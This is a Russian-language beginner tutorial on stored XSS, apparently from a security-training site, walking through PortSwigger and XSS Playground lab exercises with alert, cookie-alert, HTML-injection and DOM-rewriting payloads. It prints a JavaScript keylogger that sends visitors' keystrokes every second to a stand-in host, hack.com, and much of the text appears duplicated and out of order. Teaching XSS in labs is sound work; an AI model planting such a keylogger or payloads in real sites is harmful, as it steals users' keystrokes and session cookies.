РАЗБОР
AppSec
Статья
Stored XSS. Часть 2
[ обложка статьи ]
Режим чтения
Прежде чем перейти к практике, стоит понимать, почему Stored XSS считается самой опасной разновидностью этой уязвимости. В отличие от Reflected XSS, где полезная нагрузка срабатывает только при переходе по специально созданной ссылке, здесь вредоносный код сохраняется на сервере — например, в базе данных — и выполняется у каждого посетителя страницы, каждый раз, когда она открывается. Достаточно одного удачного внедрения в форму комментария — и скрипт будет отстреливать всех, кто его прочитает. Кстати, о защите: она сводится к валидации и экранированию пользовательского ввода на сервере и безопасному выводу данных, но в этой статье мы смотрим на проблему глазами пентестера.
Приветствую,"ковычкатыкатели" , в первой части мы мельком прошлись по таким темам, как 1. Что такое xss? 2. Reflected XSS. В это статье поговорим про Stored XSS.
пишет на php не очень умный, он забыл сделать фильтрацию комментов. Мы, как хакеры, пентестеры, у которых программист заказал пентест, пробуем найти XSS-ку, видим, что у нас есть такая красивая форма для комментов и ПИХАЕМ ТУДА КЕЙЛОГЕР
и теперь все, кто будут заходить на этот сайт, будут попадаться на кейлогер.
Ну ладно, что мы тут фантазируем, давайте сами попихаем пейлоды в формы. Будем пробовать на лабе от PortSwigger - ТЫК
1. Изначально видим простую страницу блога с разными статьями. Нам нужна форма ввода, ищем...
2. На странице поста мы можем увидеть, что у нас есть форма для комментария
3. Из условия задачи, мы узнаем, что нам нужно вывести alert()
4. Получаем подтверждение, что наш комментарий успешно отправился.
5. Лаба уже решена, но давайте попробуем вернуться на страницу
Получаем alert в лицо.
Но что-то это все слишком легко, мы просто тыкаем JS скрипт и все, даже без кавычек. Давайте попробуем решить что-то посложнее - ТЫК
Регаемся и получаем вот такую страницу
1 Задание. Нам нужно посмотреть, сможем ли мы вставить свой html код в комменты. Пробуем <i>qwe</i>
И успешно получаем флаг.
2 Задание. Вызвать alert с куками. Ну го пробовать
Ой, +кука.
3 Задание. Нам нужно поменять "XSS Playground" на "I am a hacker"
Используем такой "пейлоад":
Для тех, кто не знает JavaScript (а надо бы), объясняю, что мы тут делаем. Используя document.querySelector() получаем объект с id = thm-title, при помощи функции .textContent меняем текст заголовка.
Повторюсь, статьи для полных новичков, поэтому обсуждаются самые простые темы. Более продвинутые темы будут дальше ( Если автор не забьет )
Приветствую,
Что такое Stored XSS?
Stored XSS возникает, когда веб-приложение без проверки включает данные в свои последующие HTTP-ответы и сохраняет, к примеру, в базе данных. Представим блог какого-нибудь программиста, под каждой статьей можно оставить комментарий, но т.к. наш программист
JavaScript:
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://hack.com/keylogger.php?c='+keys;
keys = '';
}, 1000);
Ну ладно, что мы тут фантазируем, давайте сами попихаем пейлоды в формы. Будем пробовать на лабе от PortSwigger - ТЫК
1. Изначально видим простую страницу блога с разными статьями. Нам нужна форма ввода, ищем...
2. На странице поста мы можем увидеть, что у нас есть форма для комментария
3. Из условия задачи, мы узнаем, что нам нужно вывести alert()
4. Получаем подтверждение, что наш комментарий успешно отправился.
5. Лаба уже решена, но давайте попробуем вернуться на страницу
Получаем alert в лицо.
Но что-то это все слишком легко, мы просто тыкаем JS скрипт и все, даже без кавычек. Давайте попробуем решить что-то посложнее - ТЫК
Регаемся и получаем вот такую страницу
1 Задание. Нам нужно посмотреть, сможем ли мы вставить свой html код в комменты. Пробуем <i>qwe</i>
И успешно получаем флаг.
2 Задание. Вызвать alert с куками. Ну го пробовать
Ой, +кука.
3 Задание. Нам нужно поменять "XSS Playground" на "I am a hacker"
Используем такой "пейлоад":
JavaScript:
document.querySelector('#thm-title').textContent = 'I am a hacker'
Повторюсь, статьи для полных новичков, поэтому обсуждаются самые простые темы. Более продвинутые темы будут дальше ( Если автор не забьет )
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Продолжить чтение
Следующий разбор
Обход ACL через парсинг URL на реверс-прокси
Комментарии
2